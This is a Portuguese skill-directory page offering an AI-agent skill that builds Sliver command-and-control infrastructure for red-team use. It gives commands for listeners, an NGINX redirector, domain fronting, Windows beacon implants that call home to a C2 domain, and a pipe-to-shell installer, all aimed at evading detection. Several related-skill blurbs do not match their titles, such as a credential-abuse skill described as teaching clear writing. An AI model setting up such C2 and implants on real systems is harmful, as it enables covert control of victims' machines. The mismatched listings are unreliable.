building-c2-infrastructure-with-sliver-framework
Faz seu agente configurar uma rede de comando e controle (C2) segura com o framework Sliver. Permite criar conexões e disfarçar o tráfego para operações de segurança autorizadas.
O que ela faz
Esta ferramenta ajuda a configurar um servidor de comando e controle (C2) seguro e discreto para operações de segurança. Ela permite criar conexões que são difíceis de detectar por sistemas de defesa.
Quando usar
- ✓Ao montar uma infraestrutura de C2 para testes de segurança (red teaming).
- ✓Ao precisar criar programas (implantes) que se comuniquem com o servidor C2 de forma furtiva.
- ✓Ao querer garantir que a comunicação C2 resista a detecções de segurança.
Exemplo do que pedir para a IA
“Configure um servidor C2 com Sliver para testes de invasão.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
O Sliver permite criar um servidor central e configurar diferentes tipos de conexões (como HTTPS, DNS) para que os programas maliciosos se comuniquem. Ele também ajuda a esconder essa comunicação usando redirecionadores e outras técnicas.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill building-c2-infrastructure-with-sliver-frameworkOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Construindo Infraestrutura C2 com o Framework Sliver
Visão Geral
Sliver é um framework de emulação de adversários de código aberto e multiplataforma desenvolvido pela BishopFox, escrito em Go. Ele fornece às equipes vermelhas geração de implantes, canais C2 multiprotocolo (mTLS, HTTP/S, DNS, WireGuard), suporte multioperador e amplas capacidades de pós-exploração. Sliver suporta modos de beacon (assíncrono) e sessão (interativo), tornando-o adequado tanto para operações de longo prazo quanto para exploração interativa. Uma infraestrutura Sliver adequadamente arquitetada usa rediretores, domain fronting e certificados HTTPS para manter a resiliência operacional e evitar a detecção.
Quando Usar
- Ao implantar ou configurar a construção de infraestrutura C2 com as capacidades do framework Sliver em seu ambiente
- Ao estabelecer controles de segurança alinhados aos requisitos de conformidade
- Ao construir ou melhorar a arquitetura de segurança para este domínio
- Ao realizar avaliações de segurança que exigem esta implementação
Pré-requisitos
- Familiaridade com conceitos e ferramentas de red teaming
- Acesso a um ambiente de teste ou laboratório para execução segura
- Python 3.8+ com as dependências necessárias instaladas
- Autorização apropriada para quaisquer atividades de teste
Objetivos
- Implantar um servidor de equipe Sliver em infraestrutura de nuvem protegida
- Configurar listeners HTTPS, mTLS, DNS e WireGuard
- Gerar implantes (beacons e sessões) para plataformas alvo
- Configurar rediretores NGINX ou Apache entre implantes e o servidor de equipe
- Implementar domain fronting baseado em Cloudflare ou CDN para ofuscação de tráfego
- Configurar acesso multioperador com autenticação baseada em certificado
- Estabelecer controles de segurança operacional para comunicações C2
Mapeamento MITRE ATT&CK
- T1071.001 - Protocolo da Camada de Aplicação: Protocolos Web
- T1071.004 - Protocolo da Camada de Aplicação: DNS
- T1573.002 - Canal Criptografado: Criptografia Assimétrica
- T1090.002 - Proxy: Proxy Externo (Rediretores)
- T1105 - Transferência de Ferramentas de Entrada
- T1132.001 - Codificação de Dados: Codificação Padrão
- T1572 - Tunneling de Protocolo
Fluxo de Trabalho
Fase 1: Implantação do Servidor de Equipe
- Provisionar um VPS (por exemplo, DigitalOcean, Linode, AWS EC2) para o servidor de equipe
- Proteger o SO: desabilitar autenticação por senha SSH, configurar UFW/iptables, instalar fail2ban
- Instalar Sliver usando o script de instalação oficial:
curl https://sliver.sh/install | sudo bash - Iniciar o daemon do servidor Sliver:
systemctl start sliver # Or run interactively sliver-server - Gerar arquivos de configuração do operador para os membros da equipe:
new-operator --name operator1 --lhost <team-server-ip>
Fase 2: Configuração do Listener
- Configurar um listener HTTPS com um certificado SSL legítimo:
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem - Configurar um listener DNS para C2 de fallback:
dns --domains c2dns.example.com --lport 53 - Configurar um listener mTLS para sessões de alta segurança:
mtls --lhost 0.0.0.0 --lport 8888 - Configurar um listener WireGuard para acesso tunelado:
wg --lport 51820
Fase 3: Configuração do Rediretor
- Implantar um VPS separado como rediretor (posicionado entre os alvos e o servidor de equipe)
- Instalar e configurar o NGINX como um proxy reverso:
server { listen 443 ssl; server_name c2.example.com; ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem; location / { proxy_pass https://<team-server-ip>:443; proxy_ssl_verify off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } } - Configurar regras de iptables no servidor de equipe para aceitar apenas conexões do rediretor:
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT iptables -A INPUT -p tcp --dport 443 -j DROP - Opcionalmente, configurar o Cloudflare como uma camada de CDN na frente do rediretor para domain fronting
Fase 4: Geração de Implante
- Gerar um implante beacon HTTPS:
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload - Gerar um beacon DNS para redes restritas:
generate beacon --dns c2dns.example.com --os windows --arch amd64
…
Perguntas frequentes
O que é 'red teaming'?
É uma simulação de ataque a um sistema de segurança para testar suas defesas, como se fosse um adversário real.
O que são 'implantes'?
São pequenos programas que são instalados em um sistema alvo e se comunicam com o servidor C2 para receber comandos ou enviar informações.
O que é 'domain fronting'?
É uma técnica para disfarçar o tráfego de C2 fazendo parecer que ele está indo para um site legítimo e popular, como um serviço de CDN (Content Delivery Network).
Detalhes
Descrição original do autor
Deploy and harden a Sliver C2 team server (BishopFox's Go-based adversary emulation framework) with multi-protocol listeners (mTLS, HTTP/S, DNS, WireGuard), redirectors, domain fronting, and multi-operator support for authorized red-team operations. Use when standing up resilient C2 for a red-team engagement or generating beacon/session implants that must survive blue-team detection.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5529
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC